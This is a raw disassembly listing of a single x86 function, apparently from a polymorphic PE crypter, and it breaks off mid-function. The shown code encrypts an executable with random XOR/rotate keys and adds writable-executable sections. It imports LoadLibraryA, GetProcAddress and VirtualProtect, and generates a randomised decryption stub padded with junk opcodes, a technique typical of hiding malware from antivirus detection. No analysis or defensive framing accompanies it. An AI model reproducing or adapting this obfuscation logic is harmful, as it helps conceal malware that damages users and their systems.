var_3D		= byte ptr -3Dh
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		lea	ebp, [esp-70h]
		sub	esp, 3C0h
		push	ebx
		push	esi
		push	edi
		push	[ebp+70h+arg_4]
		lea	eax, [ebp+70h+var_130]
		xor	esi, esi
		push	eax
		mov	[ebp+70h+var_84], esi
		mov	[ebp+70h+var_130], esi
		call	sub_402382
		mov	edi, [ebp+70h+var_130]
		push	edi
		mov	ebx, eax
		call	sub_4027E5
		mov	eax, [ebp+70h+arg_0]
		mov	[eax], edi
		lea	eax, [ebp+70h+var_138]
		push	eax
		push	ebx
		lea	eax, [ebp+70h+var_84]
		push	edi
		push	eax
		call	sub_4026BD
		push	7
		push	esi
		mov	[ebp+70h+var_7C], eax
		call	sub_40D864
		push	0FFh
		push	esi
		mov	byte ptr [ebp+70h+arg_0+3], al
		call	sub_40D864
		add	esp, 2Ch
		cmp	[ebp+70h+var_7C], esi
		mov	[ebp+70h+var_3D], al
		mov	[ebp+70h+var_78], esi
		jbe	short loc_402B5A

loc_402B3D:				; CODE XREF: sub_402AC9+8Fj
		mov	eax, [ebp+70h+var_84]
		mov	ebx, [ebp+70h+var_78]
		add	ebx, eax
		mov	al, [ebx]
		mov	cl, byte ptr [ebp+70h+arg_0+3]
		xor	al, [ebp+70h+var_3D]
		rol	al, cl
		mov	[ebx], al
		inc	esi
		cmp	esi, [ebp+70h+var_7C]
		mov	[ebp+70h+var_78], esi
		jb	short loc_402B3D

loc_402B5A:				; CODE XREF: sub_402AC9+72j
		and	[ebp+70h+var_134], 0
		cmp	word ptr [edi],	5A4Dh
		jnz	loc_404655
		mov	ebx, [edi+3Ch]
		push	0F8h
		add	ebx, edi
		lea	eax, [ebp+70h+var_280]
		push	ebx
		push	eax
		call	sub_41BC60
		add	esp, 0Ch
		cmp	dword ptr [ebx], 4550h
		jnz	loc_404655
		mov	ecx, [ebx+34h]
		xor	eax, eax
		cmp	[ebx+6], ax
		mov	[ebp+70h+var_50], eax
		mov	[ebp+70h+var_1C], ecx
		mov	[ebp+70h+var_5C], eax
		jbe	short loc_402BF4
		lea	eax, [ebp+70h+var_3C0]
		lea	esi, [ebx+104h]
		mov	[ebp+70h+var_58], eax

loc_402BB5:				; CODE XREF: sub_402AC9+127j
		push	28h
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+70h+var_58]
		call	sub_41BC60
		mov	eax, [esi]
		mov	ecx, [esi+4]
		add	ecx, eax
		add	esp, 0Ch
		cmp	ecx, [ebp+70h+var_50]
		jbe	short loc_402BDC
		mov	ecx, [esi-4]
		add	ecx, eax
		mov	[ebp+70h+var_50], ecx
		jmp	short loc_402BDF
; ---------------------------------------------------------------------------

loc_402BDC:				; CODE XREF: sub_402AC9+107j
		mov	ecx, [ebp+70h+var_50]

loc_402BDF:				; CODE XREF: sub_402AC9+111j
		movzx	eax, word ptr [ebx+6]
		add	[ebp+70h+var_58], 28h
		add	esi, 28h
		inc	[ebp+70h+var_5C]
		cmp	[ebp+70h+var_5C], eax
		jb	short loc_402BB5
		jmp	short loc_402BF7
; ---------------------------------------------------------------------------

loc_402BF4:				; CODE XREF: sub_402AC9+DBj
		mov	ecx, [ebp+70h+var_50]

loc_402BF7:				; CODE XREF: sub_402AC9+129j
		mov	esi, [ebx+38h]
		xor	edx, edx
		mov	eax, ecx
		div	esi
		test	edx, edx
		jz	short loc_402C14
		mov	ecx, esi

loc_402C06:				; CODE XREF: sub_402AC9+149j
		inc	[ebp+70h+var_50]
		mov	eax, [ebp+70h+var_50]
		xor	edx, edx
		div	ecx
		test	edx, edx
		jnz	short loc_402C06

loc_402C14:				; CODE XREF: sub_402AC9+139j
		mov	eax, [ebp+70h+var_7C]
		and	[ebp+70h+var_34], 0
		test	eax, eax
		jbe	short loc_402C27

loc_402C1F:				; CODE XREF: sub_402AC9+15Cj
		add	[ebp+70h+var_34], esi
		cmp	[ebp+70h+var_34], eax
		jb	short loc_402C1F

loc_402C27:				; CODE XREF: sub_402AC9+154j
		mov	eax, [ebx+54h]
		mov	ecx, [ebp+70h+var_34]
		add	eax, ecx
		mov	[ebp+70h+var_4], eax
		add	eax, 1000h
		mov	[ebp+70h+var_134], eax
		lea	eax, [ebp+70h+var_188]
		push	eax
		call	ds:dword_4290C4	; GetSystemTime
		movzx	eax, [ebp+70h+var_182]
		mov	[ebp+70h+var_78], eax
		movzx	eax, word ptr [ebx+6]
		push	8
		push	offset dword_42FD64
		lea	esi, [ebx+0F8h]
		push	esi
		mov	[ebp+70h+var_44], eax
		mov	word ptr [ebx+6], 3
		call	sub_41BC60
		mov	eax, [ebp+70h+var_50]
		and	dword ptr [esi+10h], 0
		add	eax, 0FFFFF000h
		mov	[esi+8], eax
		mov	eax, [ebx+54h]
		mov	[esi+14h], eax
		mov	eax, [esi+0Ch]
		push	8
		mov	dword ptr [esi+24h], 0E0000080h
		add	esi, 28h
		push	offset a_rdata	; ".rdata"
		push	esi
		mov	[ebp+70h+var_144], eax
		call	sub_41BC60
		mov	eax, 1000h
		mov	[esi+10h], eax
		mov	[esi+8], eax
		mov	eax, [ebp+70h+var_4]
		mov	[esi+14h], eax
		mov	eax, [ebp+70h+var_50]
		push	8
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+24h], 0E0000040h
		add	esi, 28h
		push	offset a_data	; ".data"
		push	esi
		call	sub_41BC60
		mov	eax, [ebp+70h+var_7C]
		mov	[esi+10h], eax
		mov	eax, [ebp+70h+var_34]
		mov	[esi+8], eax
		mov	eax, [ebx+54h]
		mov	[esi+14h], eax
		mov	eax, [ebp+70h+var_50]
		add	esp, 24h
		add	eax, 1000h
		mov	[esi+0Ch], eax
		jmp	short loc_402CFF
; ---------------------------------------------------------------------------

loc_402CF9:				; CODE XREF: sub_402AC9+23Dj
		inc	dword ptr [esi+0Ch]
		mov	eax, [esi+0Ch]

loc_402CFF:				; CODE XREF: sub_402AC9+22Ej
		xor	edx, edx
		div	dword ptr [ebx+38h]
		test	edx, edx
		jnz	short loc_402CF9
		push	[ebp+70h+var_7C]
		mov	eax, [esi+14h]
		push	[ebp+70h+var_84]
		add	eax, edi
		push	eax
		mov	dword ptr [esi+24h], 40000040h
		call	sub_41BC60
		mov	eax, [ebp+70h+var_34]
		and	[ebp+70h+var_38], 0
		add	esp, 0Ch
		sub	eax, [ebp+70h+var_7C]
		mov	[ebp+70h+var_4], eax
		jz	short loc_402D57

loc_402D32:				; CODE XREF: sub_402AC9+28Cj
		push	0FFh
		push	0
		call	sub_40D864
		pop	ecx
		pop	ecx
		mov	ecx, [esi+14h]
		add	ecx, [ebp+70h+var_38]
		add	ecx, [ebp+70h+var_7C]
		inc	[ebp+70h+var_38]
		mov	[ecx+edi], al
		mov	eax, [ebp+70h+var_38]
		cmp	eax, [ebp+70h+var_4]
		jb	short loc_402D32

loc_402D57:				; CODE XREF: sub_402AC9+267j
		mov	eax, [esi+0Ch]
		add	eax, [ebp+70h+var_34]
		lea	esi, [ebx+0F8h]
		mov	[ebx+50h], eax
		xor	eax, eax
		mov	ah, byte ptr [ebp+70h+arg_0+3]
		mov	al, [ebp+70h+var_3D]
		mov	[ebx+46h], ax
		movzx	eax, [ebp+70h+var_27A]
		test	eax, eax
		jbe	short loc_402D83
		lea	eax, [eax+eax*4]
		lea	esi, [esi+eax*8]

loc_402D83:				; CODE XREF: sub_402AC9+2B2j
		and	[ebp+70h+var_38], 0
		mov	eax, edi
		sub	eax, esi
		add	eax, [ebx+54h]
		jz	short loc_402DC6

loc_402D90:				; CODE XREF: sub_402AC9+2FBj
		push	2
		push	0
		call	sub_40D864
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_402DA6
		push	0FFh
		jmp	short loc_402DA8
; ---------------------------------------------------------------------------

loc_402DA6:				; CODE XREF: sub_402AC9+2D4j
		push	20h

loc_402DA8:				; CODE XREF: sub_402AC9+2DBj
		push	0
		call	sub_40D864
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+70h+var_38]
		inc	[ebp+70h+var_38]
		mov	[ecx+esi], al
		mov	eax, edi
		sub	eax, esi
		add	eax, [ebx+54h]
		cmp	[ebp+70h+var_38], eax
		jb	short loc_402D90

loc_402DC6:				; CODE XREF: sub_402AC9+2C5j
		push	[ebp+70h+var_50]
		mov	edx, ebx
		call	sub_40C663
		mov	esi, eax
		add	esi, edi
		and	[ebp+70h+var_38], 0
		pop	ecx

loc_402DD9:				; CODE XREF: sub_402AC9+341j
		push	1
		push	0
		call	sub_40D864
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_402DEF
		push	0FFh
		jmp	short loc_402DF1
; ---------------------------------------------------------------------------

loc_402DEF:				; CODE XREF: sub_402AC9+31Dj
		push	20h

loc_402DF1:				; CODE XREF: sub_402AC9+324j
		push	0
		call	sub_40D864
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+70h+var_38]
		inc	[ebp+70h+var_38]
		cmp	[ebp+70h+var_38], 1000h
		mov	[ecx+esi], al
		jb	short loc_402DD9
		mov	eax, [ebp+70h+var_44]
		mov	edx, [ebp+70h+var_50]
		lea	ecx, [eax+eax*4]
		lea	eax, [ebx+0F8h]
		lea	eax, [eax+ecx*8]
		lea	ecx, [edx+1000h]
		sub	edx, [ebp+70h+var_78]
		mov	[eax], ecx
		mov	ecx, [ebp+70h+var_7C]
		mov	[eax+4], ecx
		push	14h
		xor	esi, esi
		lea	eax, [ebp+70h+var_158]
		add	edx, 0F7Ah
		push	esi
		push	eax
		mov	[ebx+80h], edx
		mov	dword ptr [ebx+84h], 28h
		call	sub_41C6D0
		push	4
		lea	eax, [ebp+70h+var_16C]
		push	esi
		push	eax
		mov	[ebp+70h+var_150], esi
		mov	[ebp+70h+var_154], esi
		call	sub_41C6D0
		push	4
		lea	eax, [ebp+70h+var_15C]
		push	esi
		push	eax
		call	sub_41C6D0
		mov	esi, [ebx+84h]
		add	esi, [ebx+80h]
		add	esp, 24h
		push	offset aKernel32_dll ; "Kernel32.dll"
		push	esi
		mov	edx, ebx
		mov	[ebp+70h+var_14C], esi
		call	sub_40C663
		pop	ecx
		add	eax, edi
		push	eax
		call	sub_41C930
		push	offset aKernel32_dll ; "Kernel32.dll"
		call	sub_41C350
		lea	esi, [esi+eax+1]
		add	esp, 0Ch
		push	2
		lea	eax, [ebp+70h+var_9C]
		push	eax
		push	esi
		mov	edx, ebx
		mov	[ebp+70h+var_9C], 0DFh
		mov	[ebp+70h+var_178], esi
		mov	[ebp+70h+var_168], esi
		call	sub_40C663
		pop	ecx
		add	eax, edi
		push	eax
		call	sub_41BC60
		add	esp, 0Ch
		inc	esi
		inc	esi
		push	offset aLoadlibrarya ; "LoadLibraryA"
		push	esi
		mov	edx, ebx
		call	sub_40C663
		pop	ecx
		add	eax, edi
		push	eax
		call	sub_41C930
		push	offset aLoadlibrarya ; "LoadLibraryA"
		call	sub_41C350
		add	esp, 0Ch
		lea	esi, [esi+eax+1]
		push	2
		lea	eax, [ebp+70h+var_9C]
		mov	[ebp+70h+var_9C], 53h
		mov	[ebp+70h+var_174], esi
		mov	[ebp+70h+var_164], esi
		push	eax
		push	esi
		mov	edx, ebx
		call	sub_40C663
		pop	ecx
		add	eax, edi
		push	eax
		call	sub_41BC60
		add	esp, 0Ch
		inc	esi
		inc	esi
		push	offset aGetprocaddress ; "GetProcAddress"
		push	esi
		mov	edx, ebx
		call	sub_40C663
		pop	ecx
		add	eax, edi
		push	eax
		call	sub_41C930
		push	offset aGetprocaddress ; "GetProcAddress"
		call	sub_41C350
		lea	esi, [esi+eax+1]
		add	esp, 0Ch
		push	2
		lea	eax, [ebp+70h+var_9C]
		push	eax
		push	esi
		mov	edx, ebx
		mov	[ebp+70h+var_9C], 379h
		mov	[ebp+70h+var_170], esi
		mov	[ebp+70h+var_160], esi
		call	sub_40C663
		pop	ecx
		add	eax, edi
		push	eax
		call	sub_41BC60
		add	esp, 0Ch
		inc	esi
		inc	esi
		push	offset aVirtualprotect ; "VirtualProtect"
		push	esi
		mov	edx, ebx
		call	sub_40C663
		pop	ecx
		add	eax, edi
		push	eax
		call	sub_41C930
		push	offset aVirtualprotect ; "VirtualProtect"
		call	sub_41C350
		add	esp, 0Ch
		lea	esi, [esi+eax+1]
		push	10h
		lea	eax, [ebp+70h+var_178]
		push	eax
		push	esi
		mov	edx, ebx
		mov	[ebp+70h+var_158], esi
		call	sub_40C663
		pop	ecx
		add	eax, edi
		push	eax
		call	sub_41BC60
		add	esp, 0Ch
		push	10h
		lea	eax, [ebp+70h+var_168]
		add	esi, 10h
		push	eax
		push	esi
		mov	edx, ebx
		mov	[ebp+70h+var_148], esi
		call	sub_40C663
		pop	ecx
		add	eax, edi
		push	eax
		call	sub_41BC60
		mov	ecx, [ebp+70h+var_1C]
		mov	eax, [ebp+70h+var_148]
		add	esp, 0Ch
		add	eax, ecx
		lea	ecx, [eax+4]
		mov	[ebp+70h+var_70], eax
		mov	[ebp+70h+var_13C], ecx
		add	eax, 8
		mov	[ebp+70h+var_110], eax
		push	14h
		lea	eax, [ebp+70h+var_158]
		push	eax
		push	dword ptr [ebx+80h]
		mov	edx, ebx
		call	sub_40C663
		pop	ecx
		add	eax, edi
		push	eax
		call	sub_41BC60
		mov	eax, [ebx+80h]
		add	esp, 0Ch
		push	14h
		add	eax, 14h
		push	0
		push	eax
		mov	edx, ebx
		call	sub_40C663
		pop	ecx
		add	eax, edi
		push	eax
		call	sub_41C6D0
		add	esi, 10h
		push	esi
		mov	edx, ebx
		call	sub_40C663
		mov	esi, eax
		mov	eax, [ebp+70h+var_78]
		add	eax, esi
		add	esp, 10h
		cmp	esi, eax
		mov	[ebp+70h+var_4], eax
		jnb	short loc_40309A

loc_403083:				; CODE XREF: sub_402AC9+5CFj
		push	0FFh
		push	0
		call	sub_40D864
		mov	[esi+edi], al
		inc	esi
		cmp	esi, [ebp+70h+var_4]
		pop	ecx
		pop	ecx
		jb	short loc_403083

loc_40309A:				; CODE XREF: sub_402AC9+5B8j
		mov	esi, [ebp+70h+var_50]
		push	esi
		mov	edx, ebx
		mov	[ebx+28h], esi
		call	sub_40C663
		pop	ecx
		add	eax, edi
		mov	[ebp+70h+var_C8], 0Fh
		mov	[ebp+70h+var_C7], 85h
		mov	[ebp+70h+var_98], 0Fh
		mov	[ebp+70h+var_97], 8Ch
		mov	[ebp+70h+var_88], 8Ah
		mov	[ebp+70h+var_87], 0CDh
		mov	[ebp+70h+var_F8], 8Ah
		mov	[ebp+70h+var_F7], 0EBh
		mov	[ebp+70h+var_62], 8Bh
		mov	[ebp+70h+var_61], 0ECh
		mov	[ebp+70h+var_114], 8Bh
		mov	[ebp+70h+var_113], 0CFh
		mov	[ebp+70h+var_DC], 8Bh
		mov	[ebp+70h+var_DB], 0D8h
		mov	[ebp+70h+var_B4], 8Bh
		mov	[ebp+70h+var_B3], 0F0h
		mov	[ebp+70h+var_28], 8Bh
		mov	[ebp+70h+var_27], 85h
		mov	[ebp+70h+var_54], 8Bh
		mov	[ebp+70h+var_53], 9Dh
		mov	[ebp+70h+var_EC], 8Bh
		mov	[ebp+70h+var_EB], 95h
		mov	byte ptr [ebp+70h+var_8], 0C6h
		mov	byte ptr [ebp+70h+var_8+1], 4
		mov	byte ptr [ebp+70h+var_8+2], 4
		mov	byte ptr [ebp+70h+var_14], 88h
		mov	byte ptr [ebp+70h+var_14+1], 4
		mov	byte ptr [ebp+70h+var_14+2], 4
		mov	[ebp+70h+var_48], 89h
		mov	[ebp+70h+var_47], 85h
		mov	[ebp+70h+var_D4], 89h
		mov	[ebp+70h+var_D3], 9Dh
		mov	[ebp+70h+var_E4], 89h
		mov	[ebp+70h+var_E3], 3
		mov	[ebp+70h+var_2C], 0C7h
		mov	[ebp+70h+var_2B], 85h
		mov	[ebp+70h+var_68], 36h
		mov	[ebp+70h+var_67], 0C7h
		mov	[ebp+70h+var_66], 5
		mov	byte ptr [ebp+70h+var_10], 36h
		mov	byte ptr [ebp+70h+var_10+1], 8Ah
		mov	byte ptr [ebp+70h+var_10+2], 90h
		mov	byte ptr [ebp+70h+var_24], 36h
		mov	byte ptr [ebp+70h+var_24+1], 8Ah
		mov	byte ptr [ebp+70h+var_24+2], 98h
		mov	byte ptr [ebp+70h+var_3C], 36h
		mov	byte ptr [ebp+70h+var_3C+1], 8Bh
		mov	byte ptr [ebp+70h+var_3C+2], 4
		mov	byte ptr [ebp+70h+var_3C+3], 29h
		mov	byte ptr [ebp+70h+var_5C], 36h
		mov	byte ptr [ebp+70h+var_5C+1], 88h
		mov	byte ptr [ebp+70h+var_5C+2], 4
		mov	byte ptr [ebp+70h+var_5C+3], 2Eh
		mov	byte ptr [ebp+70h+var_84], 36h
		mov	byte ptr [ebp+70h+var_84+1], 88h
		mov	byte ptr [ebp+70h+var_84+2], 4
		mov	byte ptr [ebp+70h+var_84+3], 29h
		mov	[ebp+70h+var_60], 8Bh
		mov	[ebp+70h+var_5F], 3
		mov	[ebp+70h+var_128], 88h
		mov	[ebp+70h+var_127], 4
		mov	[ebp+70h+var_126], 2Ah
		mov	[ebp+70h+var_12C], 8Ah
		mov	[ebp+70h+var_12B], 4
		mov	[ebp+70h+var_12A], 2Ah
		mov	byte ptr [ebp+70h+var_94+2], 81h
		mov	byte ptr [ebp+70h+var_94+3], 0ECh
		mov	[ebp+70h+var_74], 0FFh
		mov	[ebp+70h+var_73], 15h
		mov	[ebp+70h+var_A4], 81h
		mov	[ebp+70h+var_A3], 0FEh
		mov	[ebp+70h+var_124], 81h
		mov	[ebp+70h+var_123], 0FFh
		mov	[ebp+70h+var_AC], 81h
		mov	ecx, [ebx+34h]
		mov	byte ptr [eax],	55h
		mov	[ebp+70h+var_140], eax
		inc	eax
		lea	ecx, [ecx+esi+1000h]
		mov	edi, eax
		inc	eax
		lea	esi, [ebp+70h+var_94+2]
		inc	eax
		mov	[ebp+70h+var_44], ecx
		movsw
		lea	esi, [eax+4]
		lea	ecx, [ebp+70h+var_78]
		mov	[ebp+70h+var_AB], 0FBh
		mov	[ebp+70h+var_CC], 81h
		mov	[ebp+70h+var_CB], 0FAh
		mov	byte ptr [ebp+70h+var_20], 83h
		mov	byte ptr [ebp+70h+var_20+1], 0FAh
		mov	byte ptr [ebp+70h+var_20+2], 0
		mov	byte ptr [ebp+70h+var_30], 83h
		mov	byte ptr [ebp+70h+var_30+1], 0F8h
		mov	byte ptr [ebp+70h+var_30+2], 0
		mov	[ebp+70h+var_6C], 3
		mov	[ebp+70h+var_6B], 0C3h
		mov	[ebp+70h+var_C4], 81h
		mov	[ebp+70h+var_C3], 0C4h
		mov	[ebp+70h+var_80], 83h
		mov	[ebp+70h+var_7F], 0C3h
		mov	[ebp+70h+var_8C], 81h
		mov	[ebp+70h+var_8B], 0C2h
		mov	[ebp+70h+var_90], 2Bh
		mov	[ebp+70h+var_8F], 0D8h
		mov	[ebp+70h+var_F0], 2Bh
		mov	[ebp+70h+var_EF], 0C3h
		mov	[ebp+70h+var_118], 2Bh
		mov	[ebp+70h+var_117], 0C8h
		mov	[ebp+70h+var_F4], 2Bh
		mov	[ebp+70h+var_F3], 0CAh
		mov	[ebp+70h+var_D0], 2Bh
		mov	[ebp+70h+var_CF], 0CBh
		mov	[ebp+70h+var_100], 2Ah
		mov	[ebp+70h+var_FF], 0EBh
		mov	[ebp+70h+var_11C], 81h
		mov	[ebp+70h+var_11B], 0E9h
		mov	[ebp+70h+var_120], 81h
		mov	[ebp+70h+var_11F], 0EAh
		mov	[ebp+70h+var_BC], 83h
		mov	[ebp+70h+var_BB], 0E8h
		mov	[ebp+70h+var_E8], 0D2h
		mov	[ebp+70h+var_E7], 0E2h
		mov	[ebp+70h+var_108], 0D2h
		mov	[ebp+70h+var_107], 0EAh
		mov	[ebp+70h+var_B0], 0D2h
		mov	[ebp+70h+var_AF], 0E3h
		mov	[ebp+70h+var_B8], 0D2h
		mov	[ebp+70h+var_B7], 0EBh
		mov	[ebp+70h+var_D8], 0C0h
		mov	[ebp+70h+var_D7], 0CAh
		mov	[ebp+70h+var_A0], 0C0h
		mov	[ebp+70h+var_9F], 0CBh
		mov	[ebp+70h+var_C0], 8
		mov	[ebp+70h+var_BF], 0DAh
		mov	[ebp+70h+var_10C], 9
		mov	[ebp+70h+var_10B], 0CAh
		mov	[ebp+70h+var_FC], 33h
		mov	[ebp+70h+var_FB], 0FFh
		mov	[ebp+70h+var_E0], 80h
		mov	[ebp+70h+var_DF], 0F2h
		mov	[ebp+70h+var_A8], 80h
		mov	[ebp+70h+var_A7], 0F3h
		mov	[ebp+70h+var_104], 86h
		mov	[ebp+70h+var_103], 0F2h
		mov	[ebp+70h+var_38], 800h
		mov	[ebp+70h+var_18], 804h
		mov	[ebp+70h+var_34], 808h
		mov	[ebp+70h+var_1C], 80Ch
		mov	[ebp+70h+var_4], 810h
		mov	[ebp+70h+var_58], 814h
		mov	[ebp+70h+var_78], 81Ch
		mov	edi, esi
		sub	ecx, eax
		push	4
		pop	eax

loc_403377:				; CODE XREF: sub_402AC9+8B5j
		dec	edi
		dec	eax
		mov	dl, [ecx+edi]
		mov	[edi], dl
		jnz	short loc_403377
		mov	ecx, esi
		mov	edi, ecx
		inc	ecx
		inc	ecx
		lea	esi, [ebp+70h+var_62]
		movsw
		mov	byte ptr [ecx],	90h
		inc	ecx
		mov	byte ptr [ecx],	0B8h
		inc	ecx
		lea	esi, [ebp+70h+var_78]
		lea	edi, [ecx+4]
		push	4
		sub	esi, ecx
		pop	ecx
		mov	eax, edi
		mov	[ebp+70h+var_4C], ecx

loc_4033A3:				; CODE XREF: sub_402AC9+8E3j
		dec	eax
		dec	[ebp+70h+var_4C]
		mov	dl, [eax+esi]
		mov	[eax], dl
		jnz	short loc_4033A3
		mov	eax, edi
		mov	byte ptr [eax],	90h
		inc	eax
		mov	byte ptr [eax],	90h
		inc	eax
		mov	byte ptr [eax],	90h
		inc	eax
		mov	byte ptr [eax],	90h
		inc	eax
		mov	edi, eax
		lea	esi, [ebp+70h+var_14]
		movsw
		mov	edx, eax
		movsb
		add	eax, 3
		mov	byte ptr [eax],	3Dh
		inc	eax
		lea	edi, [ebp+70h+var_94]
		lea	esi, [eax+4]
		sub	edi, eax
		mov	[ebp+70h+var_94], 100h
		mov	[ebp+0Ch], esi
		mov	[ebp+70h+var_4C], edi
		mov	[ebp+70h+var_C], ecx

loc_4033E9:				; CODE XREF: sub_402AC9+931j
		dec	dword ptr [ebp+0Ch]
		dec	[ebp+70h+var_C]
		mov	edi, [ebp+0Ch]
		mov	eax, [ebp+70h+var_4C]
		mov	al, [eax+edi]
		mov	[edi], al
		jnz	short loc_4033E9
		mov	eax, esi
		mov	byte ptr [eax],	7Ch
		inc	eax
		mov	byte ptr [eax],	4
		inc	eax
		mov	edi, eax
		add	eax, 3
		lea	esi, [ebp+70h+var_8]
		movsw
		movsb
		mov	byte ptr [eax],	0
		inc	eax
		mov	byte ptr [eax],	48h
		inc	eax
		mov	byte ptr [eax],	75h
		inc	eax
		sub	dl, al
		dec	dl
		mov	edi, eax
		mov	[edi], dl
		inc	edi
		mov	[ebp+70h+var_8], eax
		mov	[ebp+70h+var_8], edi
		mov	eax, [ebp+70h+var_8]
		lea	esi, [ebp+70h+var_14]
		movsw
		movsb
		add	eax, 3
		mov	byte ptr [eax],	0E9h
		inc	eax
		lea	edi, [eax+4]
		lea	esi, [ebp+70h+var_4C]
		mov	[ebp+70h+var_4C], 0DFh
		mov	edx, edi
		sub	esi, eax
		mov	[ebp+70h+var_C], ecx

loc_403450:				; CODE XREF: sub_402AC9+990j
		dec	edx
		dec	[ebp+70h+var_C]
		mov	al, [esi+edx]
		mov	[edx], al
		jnz	short loc_403450
		mov	edx, edi
		mov	[ebp+0Ch], edx
		inc	edx
		lea	esi, [ebp+70h+var_28]
		movsw
		inc	edx
		lea	edi, [edx+4]
		lea	esi, [ebp+70h+var_18]
		mov	eax, edi
		sub	esi, edx
		mov	[ebp+70h+var_C], ecx

loc_403474:				; CODE XREF: sub_402AC9+9B4j
		dec	eax
		dec	[ebp+70h+var_C]
		mov	dl, [esi+eax]
		mov	[eax], dl
		jnz	short loc_403474
		mov	edx, edi
		inc	edx
		lea	esi, [ebp+70h+var_54]
		movsw
		inc	edx
		lea	edi, [edx+4]
		lea	esi, [ebp+70h+var_34]
		mov	eax, edi
		sub	esi, edx
		mov	[ebp+70h+var_C], ecx

loc_403495:				; CODE XREF: sub_402AC9+9D5j
		dec	eax
		dec	[ebp+70h+var_C]
		mov	dl, [esi+eax]
		mov	[eax], dl
		jnz	short loc_403495
		mov	edx, edi
		mov	byte ptr [edx],	90h
		inc	edx
		mov	edi, edx
		inc	edx
		inc	edx
		lea	esi, [ebp+70h+var_6C]
		movsw
		mov	byte ptr [edx],	3Dh
		inc	edx
		lea	edi, [edx+4]
		lea	esi, [ebp+70h+var_8]
		mov	[ebp+70h+var_8], 8
		mov	eax, edi
		sub	esi, edx
		mov	[ebp+70h+var_C], ecx

loc_4034C7:				; CODE XREF: sub_402AC9+A07j
		dec	eax
		dec	[ebp+70h+var_C]
		mov	dl, [esi+eax]
		mov	[eax], dl
		jnz	short loc_4034C7
		mov	edx, edi
		inc	edx
		lea	esi, [ebp+70h+var_28]
		movsw
		inc	edx
		lea	edi, [edx+4]
		lea	esi, [ebp+70h+var_18]
		mov	eax, edi
		sub	esi, edx
		mov	[ebp+70h+var_C], ecx

loc_4034E8:				; CODE XREF: sub_402AC9+A28j
		dec	eax
		dec	[ebp+70h+var_C]
		mov	dl, [eax+esi]
		mov	[eax], dl
		jnz	short loc_4034E8
		mov	edx, edi
		mov	byte ptr [edx],	7Ch
		inc	edx
		mov	byte ptr [edx],	7
		inc	edx
		mov	byte ptr [edx],	0BBh
		inc	edx
		lea	edi, [edx+4]
		lea	esi, [ebp+70h+var_8]
		mov	eax, edi
		sub	esi, edx
		mov	[ebp+70h+var_C], ecx

loc_40350E:				; CODE XREF: sub_402AC9+A4Ej
		dec	eax
		dec	[ebp+70h+var_C]
		mov	dl, [eax+esi]
		mov	[eax], dl
		jnz	short loc_40350E
		mov	edx, edi
		inc	edx
		inc	edx
		lea	esi, [ebp+70h+var_90]
		movsw
		mov	edi, edx
		inc	edx
		lea	esi, [ebp+70h+var_D4]
		movsw
		inc	edx
		lea	edi, [edx+4]
		lea	esi, [ebp+70h+var_1C]
		mov	eax, edi
		sub	esi, edx
		mov	[ebp+70h+var_C], ecx

loc_403538:				; CODE XREF: sub_402AC9+A78j
		dec	eax
		dec	[ebp+70h+var_C]
		mov	dl, [esi+eax]
		mov	[eax], dl
		jnz	short loc_403538
		mov	edx, edi
		mov	byte ptr [edx],	0B9h
		inc	edx
		lea	edi, [edx+4]
		lea	esi, [ebp+70h+var_8]
		mov	eax, edi
		sub	esi, edx
		mov	[ebp+70h+var_C], ecx

loc_403556:				; CODE XREF: sub_402AC9+A96j
		dec	eax
		dec	[ebp+70h+var_C]
		mov	dl, [eax+esi]
		mov	[eax], dl
		jnz	short loc_403556
		mov	edx, edi
		inc	edx
		lea	esi, [ebp+70h+var_EC]
		movsw
		inc	edx
		lea	edi, [edx+4]
		lea	esi, [ebp+70h+var_18]
		mov	eax, edi
		sub	esi, edx
		mov	[ebp+70h+var_C], ecx

loc_403577:				; CODE XREF: sub_402AC9+AB7j
		dec	eax
		dec	[ebp+70h+var_C]
		mov	dl, [eax+esi]
		mov	[eax], dl
		jnz	short loc_403577
		mov	edx, edi
		push	2
		pop	eax
		add	edx, eax
		lea	esi, [ebp+70h+var_F4]
		movsw
		mov	edi, edx
		add	edx, eax
		lea	esi, [ebp+70h+var_D0]
		movsw
		mov	byte ptr [edx],	0B5h
		inc	edx
		mov	byte ptr [edx],	8
		inc	edx
		mov	edi, edx
		add	edx, eax
		lea	esi, [ebp+70h+var_100]
		movsw
		mov	edi, edx
		add	edx, eax
		lea	esi, [ebp+70h+var_28]
		movsw
		lea	edi, [edx+4]
		lea	esi, [ebp+70h+var_38]
		mov	eax, edi
		sub	esi, edx
		mov	[ebp+70h+var_C], ecx

loc_4035C4:				; CODE XREF: sub_402AC9+B04j
		dec	eax
		dec	[ebp+70h+var_C]
		mov	dl, [esi+eax]
		mov	[eax], dl
		jnz	short loc_4035C4
		mov	edx, edi
		lea	esi, [ebp+70h+var_10]
		movsw
		movsb
		add	edx, 3
		lea	edi, [edx+4]
		lea	esi, [ebp+70h+var_44]
		mov	eax, edi
		sub	esi, edx
		mov	[ebp+70h+var_C], ecx

loc_4035E7:				; CODE XREF: sub_402AC9+B27j
		dec	eax
		dec	[ebp+70h+var_C]
		mov	dl, [esi+eax]
		mov	[eax], dl
		jnz	short loc_4035E7
		mov	al, byte ptr [ebp+70h+arg_0+3]
		mov	edx, edi
		inc	edx
		inc	edx
		lea	esi, [ebp+70h+var_D8]
		movsw
		mov	[edx], al
		mov	al, [ebp+70h+var_3D]
		inc	edx
		mov	edi, edx
		inc	edx
		inc	edx
		lea	esi, [ebp+70h+var_E0]
		movsw
		mov	[edx], al
		inc	edx
		mov	edi, edx
		push	2
		pop	eax
		add	edx, eax
		lea	esi, [ebp+70h+var_E8]
		movsw
		mov	edi, edx
		add	edx, eax
